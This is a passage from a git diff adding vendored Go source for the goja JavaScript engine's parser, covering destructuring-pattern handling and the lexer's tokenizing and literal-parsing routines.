!self.implicitSemicolon && self.token == token.MULTIPLY { + node.Delegate = true + self.next() + } + + if !self.implicitSemicolon && self.token != token.SEMICOLON && self.token != token.RIGHT_BRACE && self.token != token.EOF { + var state parserState + self.mark(&state) + expr := self.parseAssignmentExpression() + if _, bad := expr.(*ast.BadExpression); bad { + expr = nil + self.restore(&state) + } + node.Argument = expr + } + + return node +} + +func (self *_parser) parseExpression() ast.Expression { + left := self.parseAssignmentExpression() + + if self.token == token.COMMA { + sequence := []ast.Expression{left} + for { + if self.token != token.COMMA { + break + } + self.next() + sequence = append(sequence, self.parseAssignmentExpression()) + } + return &ast.SequenceExpression{ + Sequence: sequence, + } + } + + return left +} + +func (self *_parser) checkComma(from, to file.Idx) { + if pos := strings.IndexByte(self.str[int(from)-self.base:int(to)-self.base], ','); pos >= 0 { + self.error(from+file.Idx(pos), "Comma is not allowed here") + } +} + +func (self *_parser) reinterpretAsArrayAssignmentPattern(left *ast.ArrayLiteral) ast.Expression { + value := left.Value + var rest ast.Expression + for i, item := range value { + if spread, ok := item.(*ast.SpreadElement); ok { + if i != len(value)-1 { + self.error(item.Idx0(), "Rest element must be last element") + return &ast.BadExpression{From: left.Idx0(), To: left.Idx1()} + } + self.checkComma(spread.Expression.Idx1(), left.RightBracket) + rest = self.reinterpretAsDestructAssignTarget(spread.Expression) + value = value[:len(value)-1] + } else { + value[i] = self.reinterpretAsAssignmentElement(item) + } + } + return &ast.ArrayPattern{ + LeftBracket: left.LeftBracket, + RightBracket: left.RightBracket, + Elements: value, + Rest: rest, + } +} + +func (self *_parser) reinterpretArrayAssignPatternAsBinding(pattern *ast.ArrayPattern) *ast.ArrayPattern { + for i, item := range pattern.Elements { + pattern.Elements[i] = self.reinterpretAsDestructBindingTarget(item) + } + if pattern.Rest != nil { + pattern.Rest = self.reinterpretAsDestructBindingTarget(pattern.Rest) + } + return pattern +} + +func (self *_parser) reinterpretAsArrayBindingPattern(left *ast.ArrayLiteral) ast.BindingTarget { + value := left.Value + var rest ast.Expression + for i, item := range value { + if spread, ok := item.(*ast.SpreadElement); ok { + if i != len(value)-1 { + self.error(item.Idx0(), "Rest element must be last element") + return &ast.BadExpression{From: left.Idx0(), To: left.Idx1()} + } + self.checkComma(spread.Expression.Idx1(), left.RightBracket) + rest = self.reinterpretAsDestructBindingTarget(spread.Expression) + value = value[:len(value)-1] + } else { + value[i] = self.reinterpretAsAssignmentElement(item) + } + } + return &ast.ArrayPattern{ + LeftBracket: left.LeftBracket, + RightBracket: left.RightBracket, + Elements: value, + Rest: rest, + } +} + +func (self *_parser) parseArrayBindingPattern() ast.BindingTarget { + return self.reinterpretAsArrayBindingPattern(self.parseArrayLiteral()) +} + +func (self *_parser) parseObjectBindingPattern() ast.BindingTarget { + return self.reinterpretAsObjectBindingPattern(self.parseObjectLiteral()) +} + +func (self *_parser) reinterpretArrayObjectPatternAsBinding(pattern *ast.ObjectPattern) *ast.ObjectPattern { + for _, prop := range pattern.Properties { + if keyed, ok := prop.(*ast.PropertyKeyed); ok { + keyed.Value = self.reinterpretAsBindingElement(keyed.Value) + } + } + if pattern.Rest != nil { + pattern.Rest = self.reinterpretAsBindingRestElement(pattern.Rest) + } + return pattern +} + +func (self *_parser) reinterpretAsObjectBindingPattern(expr *ast.ObjectLiteral) ast.BindingTarget { + var rest ast.Expression + value := expr.Value + for i, prop := range value { + ok := false + switch prop := prop.(type) { + case *ast.PropertyKeyed: + if prop.Kind == ast.PropertyKindValue { + prop.Value = self.reinterpretAsBindingElement(prop.Value) + ok = true + } + case *ast.PropertyShort: + ok = true + case *ast.SpreadElement: + if i != len(expr.Value)-1 { + self.error(prop.Idx0(), "Rest element must be last element") + return &ast.BadExpression{From: expr.Idx0(), To: expr.Idx1()} + } + // TODO make sure there is no trailing comma + rest = self.reinterpretAsBindingRestElement(prop.Expression) + value = value[:i] + ok = true + } + if !ok { + self.error(prop.Idx0(), "Invalid destructuring binding target") + return &ast.BadExpression{From: expr.Idx0(), To: expr.Idx1()} + } + } + return &ast.ObjectPattern{ + LeftBrace: expr.LeftBrace, + RightBrace: expr.RightBrace, + Properties: value, + Rest: rest, + } +} + +func (self *_parser) reinterpretAsObjectAssignmentPattern(l *ast.ObjectLiteral) ast.Expression { + var rest ast.Expression + value := l.Value + for i, prop := range value { + ok := false + switch prop := prop.(type) { + case *ast.PropertyKeyed: + if prop.Kind == ast.PropertyKindValue { + prop.Value = self.reinterpretAsAssignmentElement(prop.Value) + ok = true + } + case *ast.PropertyShort: + ok = true + case *ast.SpreadElement: + if i != len(l.Value)-1 { + self.error(prop.Idx0(), "Rest element must be last element") + return &ast.BadExpression{From: l.Idx0(), To: l.Idx1()} + } + // TODO make sure there is no trailing comma + rest = prop.Expression + value = value[:i] + ok = true + } + if !ok { + self.error(prop.Idx0(), "Invalid destructuring assignment target") + return &ast.BadExpression{From: l.Idx0(), To: l.Idx1()} + } + } + return &ast.ObjectPattern{ + LeftBrace: l.LeftBrace, + RightBrace: l.RightBrace, + Properties: value, + Rest: rest, + } +} + +func (self *_parser) reinterpretAsAssignmentElement(expr ast.Expression) ast.Expression { + switch expr := expr.(type) { + case *ast.AssignExpression: + if expr.Operator == token.ASSIGN { + expr.Left = self.reinterpretAsDestructAssignTarget(expr.Left) + return expr + } else { + self.error(expr.Idx0(), "Invalid destructuring assignment target") + return &ast.BadExpression{From: expr.Idx0(), To: expr.Idx1()} + } + default: + return self.reinterpretAsDestructAssignTarget(expr) + } +} + +func (self *_parser) reinterpretAsBindingElement(expr ast.Expression) ast.Expression { + switch expr := expr.(type) { + case *ast.AssignExpression: + if expr.Operator == token.ASSIGN { + expr.Left = self.reinterpretAsDestructBindingTarget(expr.Left) + return expr + } else { + self.error(expr.Idx0(), "Invalid destructuring assignment target") + return &ast.BadExpression{From: expr.Idx0(), To: expr.Idx1()} + } + default: + return self.reinterpretAsDestructBindingTarget(expr) + } +} + +func (self *_parser) reinterpretAsBinding(expr ast.Expression) *ast.Binding { + switch expr := expr.(type) { + case *ast.AssignExpression: + if expr.Operator == token.ASSIGN { + return &ast.Binding{ + Target: self.reinterpretAsDestructBindingTarget(expr.Left), + Initializer: expr.Right, + } + } else { + self.error(expr.Idx0(), "Invalid destructuring assignment target") + return &ast.Binding{ + Target: &ast.BadExpression{From: expr.Idx0(), To: expr.Idx1()}, + } + } + default: + return &ast.Binding{ + Target: self.reinterpretAsDestructBindingTarget(expr), + } + } +} + +func (self *_parser) reinterpretAsDestructAssignTarget(item ast.Expression) ast.Expression { + switch item := item.(type) { + case nil: + return nil + case *ast.ArrayLiteral: + return self.reinterpretAsArrayAssignmentPattern(item) + case *ast.ObjectLiteral: + return self.reinterpretAsObjectAssignmentPattern(item) + case ast.Pattern, *ast.Identifier, *ast.DotExpression, *ast.PrivateDotExpression, *ast.BracketExpression: + return item + } + self.error(item.Idx0(), "Invalid destructuring assignment target") + return &ast.BadExpression{From: item.Idx0(), To: item.Idx1()} +} + +func (self *_parser) reinterpretAsDestructBindingTarget(item ast.Expression) ast.BindingTarget { + switch item := item.(type) { + case nil: + return nil + case *ast.ArrayPattern: + return self.reinterpretArrayAssignPatternAsBinding(item) + case *ast.ObjectPattern: + return self.reinterpretArrayObjectPatternAsBinding(item) + case *ast.ArrayLiteral: + return self.reinterpretAsArrayBindingPattern(item) + case *ast.ObjectLiteral: + return self.reinterpretAsObjectBindingPattern(item) + case *ast.Identifier: + if !self.scope.allowAwait || item.Name != "await" { + return item + } + } + self.error(item.Idx0(), "Invalid destructuring binding target") + return &ast.BadExpression{From: item.Idx0(), To: item.Idx1()} +} + +func (self *_parser) reinterpretAsBindingRestElement(expr ast.Expression) ast.Expression { + if _, ok := expr.(*ast.Identifier); ok { + return expr + } + self.error(expr.Idx0(), "Invalid binding rest") + return &ast.BadExpression{From: expr.Idx0(), To: expr.Idx1()} +} diff --git a/backend/vendor/github.com/dop251/goja/parser/lexer.go b/backend/vendor/github.com/dop251/goja/parser/lexer.go new file mode 100644 index 0000000..9a9c723 --- /dev/null +++ b/backend/vendor/github.com/dop251/goja/parser/lexer.go @@ -0,0 +1,1210 @@ +package parser + +import ( + "errors" + "fmt" + "math/big" + "strconv" + "strings" + "unicode" + "unicode/utf16" + "unicode/utf8" + + "golang.org/x/text/unicode/rangetable" + + "github.com/dop251/goja/file" + "github.com/dop251/goja/token" + "github.com/dop251/goja/unistring" +) + +var ( + unicodeRangeIdNeg = rangetable.Merge(unicode.Pattern_Syntax, unicode.Pattern_White_Space) + unicodeRangeIdStartPos = rangetable.Merge(unicode.Letter, unicode.Nl, unicode.Other_ID_Start) + unicodeRangeIdContPos = rangetable.Merge(unicodeRangeIdStartPos, unicode.Mn, unicode.Mc, unicode.Nd, unicode.Pc, unicode.Other_ID_Continue) +) + +func isDecimalDigit(chr rune) bool { + return '0' <= chr && chr <= '9' +} + +func IsIdentifier(s string) bool { + if s == "" { + return false + } + r, size := utf8.DecodeRuneInString(s) + if !isIdentifierStart(r) { + return false + } + for _, r := range s[size:] { + if !isIdentifierPart(r) { + return false + } + } + return true +} + +func digitValue(chr rune) int { + switch { + case '0' <= chr && chr <= '9': + return int(chr - '0') + case 'a' <= chr && chr <= 'f': + return int(chr - 'a' + 10) + case 'A' <= chr && chr <= 'F': + return int(chr - 'A' + 10) + } + return 16 // Larger than any legal digit value +} + +func isDigit(chr rune, base int) bool { + return digitValue(chr) < base +} + +func isIdStartUnicode(r rune) bool { + return unicode.Is(unicodeRangeIdStartPos, r) && !unicode.Is(unicodeRangeIdNeg, r) +} + +func isIdPartUnicode(r rune) bool { + return unicode.Is(unicodeRangeIdContPos, r) && !unicode.Is(unicodeRangeIdNeg, r) || r == '\u200C' || r == '\u200D' +} + +func isIdentifierStart(chr rune) bool { + return chr == '$' || chr == '_' || chr == '\\' || + 'a' <= chr && chr <= 'z' || 'A' <= chr && chr <= 'Z' || + chr >= utf8.RuneSelf && isIdStartUnicode(chr) +} + +func isIdentifierPart(chr rune) bool { + return chr == '$' || chr == '_' || chr == '\\' || + 'a' <= chr && chr <= 'z' || 'A' <= chr && chr <= 'Z' || + '0' <= chr && chr <= '9' || + chr >= utf8.RuneSelf && isIdPartUnicode(chr) +} + +func (self *_parser) scanIdentifier() (string, unistring.String, bool, string) { + offset := self.chrOffset + hasEscape := false + isUnicode := false + length := 0 + for isIdentifierPart(self.chr) { + r := self.chr + length++ + if r == '\\' { + hasEscape = true + distance := self.chrOffset - offset + self.read() + if self.chr != 'u' { + return "", "", false, fmt.Sprintf("Invalid identifier escape character: %c (%s)", self.chr, string(self.chr)) + } + var value rune + if self._peek() == '{' { + self.read() + value = -1 + for value <= utf8.MaxRune { + self.read() + if self.chr == '}' { + break + } + decimal, ok := hex2decimal(byte(self.chr)) + if !ok { + return "", "", false, "Invalid Unicode escape sequence" + } + if value == -1 { + value = decimal + } else { + value = value<<4 | decimal + } + } + if value == -1 { + return "", "", false, "Invalid Unicode escape sequence" + } + } else { + for j := 0; j < 4; j++ { + self.read() + decimal, ok := hex2decimal(byte(self.chr)) + if !ok { + return "", "", false, fmt.Sprintf("Invalid identifier escape character: %c (%s)", self.chr, string(self.chr)) + } + value = value<<4 | decimal + } + } + if value == '\\' { + return "", "", false, fmt.Sprintf("Invalid identifier escape value: %c (%s)", value, string(value)) + } else if distance == 0 { + if !isIdentifierStart(value) { + return "", "", false, fmt.Sprintf("Invalid identifier escape value: %c (%s)", value, string(value)) + } + } else if distance > 0 { + if !isIdentifierPart(value) { + return "", "", false, fmt.Sprintf("Invalid identifier escape value: %c (%s)", value, string(value)) + } + } + r = value + } + if r >= utf8.RuneSelf { + isUnicode = true + if r > 0xFFFF { + length++ + } + } + self.read() + } + + literal := self.str[offset:self.chrOffset] + var parsed unistring.String + if hasEscape || isUnicode { + var err string + // TODO strict + parsed, err = parseStringLiteral(literal, length, isUnicode, false) + if err != "" { + return "", "", false, err + } + } else { + parsed = unistring.String(literal) + } + + return literal, parsed, hasEscape, "" +} + +// 7.2 +func isLineWhiteSpace(chr rune) bool { + switch chr { + case '\u0009', '\u000b', '\u000c', '\u0020', '\u00a0', '\ufeff': + return true + case '\u000a', '\u000d', '\u2028', '\u2029': + return false + case '\u0085': + return false + } + return unicode.IsSpace(chr) +} + +// 7.3 +func isLineTerminator(chr rune) bool { + switch chr { + case '\u000a', '\u000d', '\u2028', '\u2029': + return true + } + return false +} + +type parserState struct { + idx file.Idx + tok token.Token + literal string + parsedLiteral unistring.String + implicitSemicolon, insertSemicolon bool + chr rune + chrOffset, offset int + errorCount int +} + +func (self *_parser) mark(state *parserState) *parserState { + if state == nil { + state = &parserState{} + } + state.idx, state.tok, state.literal, state.parsedLiteral, state.implicitSemicolon, state.insertSemicolon, state.chr, state.chrOffset, state.offset = + self.idx, self.token, self.literal, self.parsedLiteral, self.implicitSemicolon, self.insertSemicolon, self.chr, self.chrOffset, self.offset + + state.errorCount = len(self.errors) + return state +} + +func (self *_parser) restore(state *parserState) { + self.idx, self.token, self.literal, self.parsedLiteral, self.implicitSemicolon, self.insertSemicolon, self.chr, self.chrOffset, self.offset = + state.idx, state.tok, state.literal, state.parsedLiteral, state.implicitSemicolon, state.insertSemicolon, state.chr, state.chrOffset, state.offset + self.errors = self.errors[:state.errorCount] +} + +func (self *_parser) peek() token.Token { + implicitSemicolon, insertSemicolon, chr, chrOffset, offset := self.implicitSemicolon, self.insertSemicolon, self.chr, self.chrOffset, self.offset + tok, _, _, _ := self.scan() + self.implicitSemicolon, self.insertSemicolon, self.chr, self.chrOffset, self.offset = implicitSemicolon, insertSemicolon, chr, chrOffset, offset + return tok +} + +func (self *_parser) scan() (tkn token.Token, literal string, parsedLiteral unistring.String, idx file.Idx) { + + self.implicitSemicolon = false + + for { + self.skipWhiteSpace() + + idx = self.idxOf(self.chrOffset) + insertSemicolon := false + + switch chr := self.chr; { + case isIdentifierStart(chr): + var err string + var hasEscape bool + literal, parsedLiteral, hasEscape, err = self.scanIdentifier() + if err != "" { + tkn = token.ILLEGAL + break + } + if len(parsedLiteral) > 1 { + // Keywords are longer than 1 character, avoid lookup otherwise + var strict bool + tkn, strict = token.IsKeyword(string(parsedLiteral)) + if hasEscape { + self.insertSemicolon = true + if tkn == 0 || self.isBindingId(tkn) { + tkn = token.IDENTIFIER + } else { + tkn = token.ESCAPED_RESERVED_WORD + } + return + } + switch tkn { + case 0: // Not a keyword + // no-op + case token.KEYWORD: + if strict { + // TODO If strict and in strict mode, then this is not a break + break + } + return + + case + token.BOOLEAN, + token.NULL, + token.THIS, + token.BREAK, + token.THROW, // A newline after a throw is not allowed, but we need to detect it + token.YIELD, + token.RETURN, + token.CONTINUE, + token.DEBUGGER: + self.insertSemicolon = true + return + + case token.ASYNC: + // async only has special meaning if not followed by a LineTerminator + if self.skipWhiteSpaceCheckLineTerminator() { + self.insertSemicolon = true + tkn = token.IDENTIFIER + } + return + default: + return + + } + } + self.insertSemicolon = true + tkn = token.IDENTIFIER + return + case '0' <= chr && chr <= '9': + self.insertSemicolon = true + tkn, literal = self.scanNumericLiteral(false) + return + default: + self.read() + switch chr { + case -1: + if self.insertSemicolon { + self.insertSemicolon = false + self.implicitSemicolon = true + } + tkn = token.EOF + case '\r', '\n', '\u2028', '\u2029': + self.insertSemicolon = false + self.implicitSemicolon = true + continue + case ':': + tkn = token.COLON + case '.': + if digitValue(self.chr) < 10 { + insertSemicolon = true + tkn, literal = self.scanNumericLiteral(true) + } else { + if self.chr == '.' { + self.read() + if self.chr == '.' { + self.read() + tkn = token.ELLIPSIS + } else { + tkn = token.ILLEGAL + } + } else { + tkn = token.PERIOD + } + } + case ',': + tkn = token.COMMA + case ';': + tkn = token.SEMICOLON + case '(': + tkn = token.LEFT_PARENTHESIS + case ')': + tkn = token.RIGHT_PARENTHESIS + insertSemicolon = true + case '[': + tkn = token.LEFT_BRACKET + case ']': + tkn = token.RIGHT_BRACKET + insertSemicolon = true + case '{': + tkn = token.LEFT_BRACE + case '}': + tkn = token.RIGHT_BRACE + insertSemicolon = true + case '+': + tkn = self.switch3(token.PLUS, token.ADD_ASSIGN, '+', token.INCREMENT) + if tkn == token.INCREMENT { + insertSemicolon = true + } + case '-': + tkn = self.switch3(token.MINUS, token.SUBTRACT_ASSIGN, '-', token.DECREMENT) + if tkn == token.DECREMENT { + insertSemicolon = true + } + case '*': + if self.chr == '*' { + self.read() + tkn = self.switch2(token.EXPONENT, token.EXPONENT_ASSIGN) + } else { + tkn = self.switch2(token.MULTIPLY, token.MULTIPLY_ASSIGN) + } + case '/': + if self.chr == '/' { + self.skipSingleLineComment() + continue + } else if self.chr == '*' { + if self.skipMultiLineComment() { + self.insertSemicolon = false + self.implicitSemicolon = true + } + continue + } else { + // Could be division, could be RegExp literal + tkn = self.switch2(token.SLASH, token.QUOTIENT_ASSIGN) + insertSemicolon = true + } + case '%': + tkn = self.switch2(token.REMAINDER, token.REMAINDER_ASSIGN) + case '^': + tkn = self.switch2(token.EXCLUSIVE_OR, token.EXCLUSIVE_OR_ASSIGN) + case '<': + tkn = self.switch4(token.LESS, token.LESS_OR_EQUAL, '<', token.SHIFT_LEFT, token.SHIFT_LEFT_ASSIGN) + case '>': + tkn = self.switch6(token.GREATER, token.GREATER_OR_EQUAL, '>', token.SHIFT_RIGHT, token.SHIFT_RIGHT_ASSIGN, '>', token.UNSIGNED_SHIFT_RIGHT, token.UNSIGNED_SHIFT_RIGHT_ASSIGN) + case '=': + if self.chr == '>' { + self.read() + if self.implicitSemicolon { + tkn = token.ILLEGAL + } else { + tkn = token.ARROW + } + } else { + tkn = self.switch2(token.ASSIGN, token.EQUAL) + if tkn == token.EQUAL && self.chr == '=' { + self.read() + tkn = token.STRICT_EQUAL + } + } + case '!': + tkn = self.switch2(token.NOT, token.NOT_EQUAL) + if tkn == token.NOT_EQUAL && self.chr == '=' { + self.read() + tkn = token.STRICT_NOT_EQUAL + } + case '&': + tkn = self.switch4(token.AND, token.AND_ASSIGN, '&', token.LOGICAL_AND, token.LOGICAL_AND_ASSIGN) + case '|': + tkn = self.switch4(token.OR, token.OR_ASSIGN, '|', token.LOGICAL_OR, token.LOGICAL_OR_ASSIGN) + case '~': + tkn = token.BITWISE_NOT + case '?': + if self.chr == '.' && !isDecimalDigit(self._peek()) { + self.read() + tkn = token.QUESTION_DOT + } else if self.chr == '?' { + self.read() + if self.chr == '=' { + self.read() + tkn = token.COALESCE_ASSIGN + } else { + tkn = token.COALESCE + } + } else { + tkn = token.QUESTION_MARK + } + case '"', '\'': + insertSemicolon = true + tkn = token.STRING + var err string + literal, parsedLiteral, err = self.scanString(self.chrOffset-1, true) + if err != "" { + tkn = token.ILLEGAL + } + case '`': + tkn = token.BACKTICK + case '#': + if self.chrOffset == 1 && self.chr == '!' { + self.skipSingleLineComment() + continue + } + + var err string + literal, parsedLiteral, _, err = self.scanIdentifier() + if err != "" || literal == "" { + tkn = token.ILLEGAL + break + } + self.insertSemicolon = true + tkn = token.PRIVATE_IDENTIFIER + return + default: + self.errorUnexpected(idx, chr) + tkn = token.ILLEGAL + } + } + self.insertSemicolon = insertSemicolon + return + } +} + +func (self *_parser) switch2(tkn0, tkn1 token.Token) token.Token { + if self.chr == '=' { + self.read() + return tkn1 + } + return tkn0 +} + +func (self *_parser) switch3(tkn0, tkn1 token.Token, chr2 rune, tkn2 token.Token) token.Token { + if self.chr == '=' { + self.read() + return tkn1 + } + if self.chr == chr2 { + self.read() + return tkn2 + } + return tkn0 +} + +func (self *_parser) switch4(tkn0, tkn1 token.Token, chr2 rune, tkn2, tkn3 token.Token) token.Token { + if self.chr == '=' { + self.read() + return tkn1 + } + if self.chr == chr2 { + self.read() + if self.chr == '=' { + self.read() + return tkn3 + } + return tkn2 + } + return tkn0 +} + +func (self *_parser) switch6(tkn0, tkn1 token.Token, chr2 rune, tkn2, tkn3 token.Token, chr3 rune, tkn4, tkn5 token.Token) token.Token { + if self.chr == '=' { + self.read() + return tkn1 + } + if self.chr == chr2 { + self.read() + if self.chr == '=' { + self.read() + return tkn3 + } + if self.chr == chr3 { + self.read() + if self.chr == '=' { + self.read() + return tkn5 + } + return tkn4 + } + return tkn2 + } + return tkn0 +} + +func (self *_parser) _peek() rune { + if self.offset < self.length { + return rune(self.str[self.offset]) + } + return -1 +} + +func (self *_parser) read() { + if self.offset < self.length { + self.chrOffset = self.offset + chr, width := rune(self.str[self.offset]), 1 + if chr >= utf8.RuneSelf { // !ASCII + chr, width = utf8.DecodeRuneInString(self.str[self.offset:]) + if chr == utf8.RuneError && width == 1 { + self.error(self.chrOffset, "Invalid UTF-8 character") + } + } + self.offset += width + self.chr = chr + } else { + self.chrOffset = self.length + self.chr = -1 // EOF + } +} + +func (self *_parser) skipSingleLineComment() { + for self.chr != -1 { + self.read() + if isLineTerminator(self.chr) { + return + } + } +} + +func (self *_parser) skipMultiLineComment() (hasLineTerminator bool) { + self.read() + for self.chr >= 0 { + chr := self.chr + if chr == '\r' || chr == '\n' || chr == '\u2028' || chr == '\u2029' { + hasLineTerminator = true + break + } + self.read() + if chr == '*' && self.chr == '/' { + self.read() + return + } + } + for self.chr >= 0 { + chr := self.chr + self.read() + if chr == '*' && self.chr == '/' { + self.read() + return + } + } + + self.errorUnexpected(0, self.chr) + return +} + +func (self *_parser) skipWhiteSpaceCheckLineTerminator() bool { + for { + switch self.chr { + case ' ', '\t', '\f', '\v', '\u00a0', '\ufeff': + self.read() + continue + case '\r': + if self._peek() == '\n' { + self.read() + } + fallthrough + case '\u2028', '\u2029', '\n': + return true + } + if self.chr >= utf8.RuneSelf { + if unicode.IsSpace(self.chr) { + self.read() + continue + } + } + break + } + return false +} + +func (self *_parser) skipWhiteSpace() { + for { + switch self.chr { + case ' ', '\t', '\f', '\v', '\u00a0', '\ufeff': + self.read() + continue + case '\r': + if self._peek() == '\n' { + self.read() + } + fallthrough + case '\u2028', '\u2029', '\n': + if self.insertSemicolon { + return + } + self.read() + continue + } + if self.chr >= utf8.RuneSelf { + if unicode.IsSpace(self.chr) { + self.read() + continue + } + } + break + } +} + +func (self *_parser) scanMantissa(base int, allowSeparator bool) { + for digitValue(self.chr) < base || (allowSeparator && self.chr == '_') { + afterUnderscore := self.chr == '_' + self.read() + if afterUnderscore && !isDigit(self.chr, base) { + self.error(self.chrOffset, "Only one underscore is allowed as numeric separator") + } + } +} + +func (self *_parser) scanEscape(quote rune) (int, bool) { + + var length, base uint32 + chr := self.chr + switch chr { + case '0', '1', '2', '3', '4', '5', '6', '7': + // Octal: + length, base = 3, 8 + case 'a', 'b', 'f', 'n', 'r', 't', 'v', '\\', '"', '\'': + self.read() + return 1, false + case '\r': + self.read() + if self.chr == '\n' { + self.read() + return 2, false + } + return 1, false + case '\n': + self.read() + return 1, false + case '\u2028', '\u2029': + self.read() + return 1, true + case 'x': + self.read() + length, base = 2, 16 + case 'u': + self.read() + if self.chr == '{' { + self.read() + length, base = 0, 16 + } else { + length, base = 4, 16 + } + default: + self.read() // Always make progress + } + + if base > 0 { + var value uint32 + if length > 0 { + for ; length > 0 && self.chr != quote && self.chr >= 0; length-- { + digit := uint32(digitValue(self.chr)) + if digit >= base { + break + } + value = value*base + digit + self.read() + } + } else { + for self.chr != quote && self.chr >= 0 && value < utf8.MaxRune { + if self.chr == '}' { + self.read() + break + } + digit := uint32(digitValue(self.chr)) + if digit >= base { + break + } + value = value*base + digit + self.read() + } + } + chr = rune(value) + } + if chr >= utf8.RuneSelf { + if chr > 0xFFFF { + return 2, true + } + return 1, true + } + return 1, false +} + +func (self *_parser) scanString(offset int, parse bool) (literal string, parsed unistring.String, err string) { + // " ' / + quote := rune(self.str[offset]) + length := 0 + isUnicode := false + for self.chr != quote { + chr := self.chr + if chr == '\n' || chr == '\r' || chr < 0 { + goto newline + } + if quote == '/' && (self.chr == '\u2028' || self.chr == '\u2029') { + goto newline + } + self.read() + if chr == '\\' { + if self.chr == '\n' || self.chr == '\r' || self.chr == '\u2028' || self.chr == '\u2029' || self.chr < 0 { + if quote == '/' { + goto newline + } + self.scanNewline() + } else { + l, u := self.scanEscape(quote) + length += l + if u { + isUnicode = true + } + } + continue + } else if chr == '[' && quote == '/' { + // Allow a slash (/) in a bracket character class ([...]) + // TODO Fix this, this is hacky... + quote = -1 + } else if chr == ']' && quote == -1 { + quote = '/' + } + if chr >= utf8.RuneSelf { + isUnicode = true + if chr > 0xFFFF { + length++ + } + } + length++ + } + + // " ' / + self.read() + literal = self.str[offset:self.chrOffset] + if parse { + // TODO strict + parsed, err = parseStringLiteral(literal[1:len(literal)-1], length, isUnicode, false) + } + return + +newline: + self.scanNewline() + errStr := "String not terminated" + if quote == '/' { + errStr = "Invalid regular expression: missing /" + self.error(self.idxOf(offset), errStr) + } + return "", "", errStr +} + +func (self *_parser) scanNewline() { + if self.chr == '\u2028' || self.chr == '\u2029' { + self.read() + return + } + if self.chr == '\r' { + self.read() + if self.chr != '\n' { + return + } + } + self.read() +} + +func (self *_parser) parseTemplateCharacters() (literal string, parsed unistring.String, finished bool, parseErr, err string) { + offset := self.chrOffset + var end int + length := 0 + isUnicode := false + hasCR := false + for { + chr := self.chr + if chr < 0 { + goto unterminated + } + self.read() + if chr == '`' { + finished = true + end = self.chrOffset - 1 + break + } + if chr == '\\' { + if self.chr == '\n' || self.chr == '\r' || self.chr == '\u2028' || self.chr == '\u2029' || self.chr < 0 { + if self.chr == '\r' { + hasCR = true + } + self.scanNewline() + } else { + if self.chr == '8' || self.chr == '9' { + if parseErr == "" { + parseErr = "\\8 and \\9 are not allowed in template strings." + } + } + l, u := self.scanEscape('`') + length += l + if u { + isUnicode = true + } + } + continue + } + if chr == '$' && self.chr == '{' { + self.read() + end = self.chrOffset - 2 + break + } + if chr >= utf8.RuneSelf { + isUnicode = true + if chr > 0xFFFF { + length++ + } + } else if chr == '\r' { + hasCR = true + if self.chr == '\n' { + length-- + } + } + length++ + } + literal = self.str[offset:end] + if hasCR { + literal = normaliseCRLF(literal) + } + if parseErr == "" { + parsed, parseErr = parseStringLiteral(literal, length, isUnicode, true) + } + self.insertSemicolon = true + return +unterminated: + err = err_UnexpectedEndOfInput + finished = true + return +} + +func normaliseCRLF(s string) string { + var buf strings.Builder + buf.Grow(len(s)) + for i := 0; i < len(s); i++ { + if s[i] == '\r' { + buf.WriteByte('\n') + if i < len(s)-1 && s[i+1] == '\n' { + i++ + } + } else { + buf.WriteByte(s[i]) + } + } + return buf.String() +} + +func hex2decimal(chr byte) (value rune, ok bool) { + { + chr := rune(chr) + switch { + case '0' <= chr && chr <= '9': + return chr - '0', true + case 'a' <= chr && chr <= 'f': + return chr - 'a' + 10, true + case 'A' <= chr && chr <= 'F': + return chr - 'A' + 10, true + } + return + } +} + +func parseNumberLiteral(literal string) (value interface{}, err error) { + // TODO Is Uint okay? What about -MAX_UINT + value, err = strconv.ParseInt(literal, 0, 64) + if err == nil { + return + } + + parseIntErr := err // Save this first error, just in case + + value, err = strconv.ParseFloat(literal, 64) + if err == nil { + return + } else if err.(*strconv.NumError).Err == strconv.ErrRange { + // Infinity, etc. + return value, nil + } + + err = parseIntErr + + if err.(*strconv.NumError).Err == strconv.ErrRange { + if len(literal) > 2 && + literal[0] == '0' && (literal[1] == 'X' || literal[1] == 'x') && + literal[len(literal)-1] != 'n' { + // Could just be a very large number (e.g. 0x8000000000000000) + var value float64 + literal = literal[2:] + for _, chr := range literal { + digit := digitValue(chr) + if digit >= 16 { + goto error + } + value = value*16 + float64(digit) + } + return value, nil + } + } + + if len(literal) > 1 && literal[len(literal)-1] == 'n' { + if literal[0] == '0' { + if len(literal) > 2 && isDecimalDigit(rune(literal[1])) { + goto error + } + } + // Parse as big.Int + bigInt := new(big.Int) + _, ok := bigInt.SetString(literal[:len(literal)-1], 0) + if !ok { + goto error + } + return bigInt, nil + } + +error: + return nil, errors.New("Illegal numeric literal") +} + +func parseStringLiteral(literal string, length int, unicode, strict bool) (unistring.String, string) { + var sb strings.Builder + var chars []uint16 + if unicode { + chars = make([]uint16, 1, length+1) + chars[0] = unistring.BOM + } else { + sb.Grow(length) + } + str := literal + for len(str) > 0 { + switch chr := str[0]; { + // We do not explicitly handle the case of the quote + // value, which can be: " ' / + // This assumes we're already passed a partially well-formed literal + case chr >= utf8.RuneSelf: + chr, size := utf8.DecodeRuneInString(str) + if chr <= 0xFFFF { + chars = append(chars, uint16(chr)) + } else { + first, second := utf16.EncodeRune(chr) + chars = append(chars, uint16(first), uint16(second)) + } + str = str[size:] + continue + case chr != '\\': + if unicode { + chars = append(chars, uint16(chr)) + } else { + sb.WriteByte(chr) + } + str = str[1:] + continue + } + + if len(str) <= 1 { + panic("len(str) <= 1") + } + chr := str[1] + var value rune + if chr >= utf8.RuneSelf { + str = str[1:] + var size int + value, size = utf8.DecodeRuneInString(str) + str = str[size:] // \ + + if value == '\u2028' || value == '\u2029' { + continue + } + } else { + str = str[2:] // \ + switch chr { + case 'b': + value = '\b' + case 'f': + value = '\f' + case 'n': + value = '\n' + case 'r': + value = '\r' + case 't': + value = '\t' + case 'v': + value = '\v' + case 'x', 'u': + size := 0 + switch chr { + case 'x': + size = 2 + case 'u': + if str == "" || str[0] != '{' { + size = 4 + } + } + if size > 0 { + if len(str) < size { + return "", fmt.Sprintf("invalid escape: \\%s: len(%q) != %d", string(chr), str, size) + } + for j := 0; j < size; j++ { + decimal, ok := hex2decimal(str[j]) + if !ok { + return "", fmt.Sprintf("invalid escape: \\%s: %q", string(chr), str[:size]) + } + value = value<<4 | decimal + } + } else { + str = str[1:] + var val rune + value = -1 + for ; size < len(str); size++ { + if str[size] == '}' { + if size == 0 { + return "", fmt.Sprintf("invalid escape: \\%s", string(chr)) + } + size++ + value = val + break + } + decimal, ok := hex2decimal(str[size]) + if !ok { + return 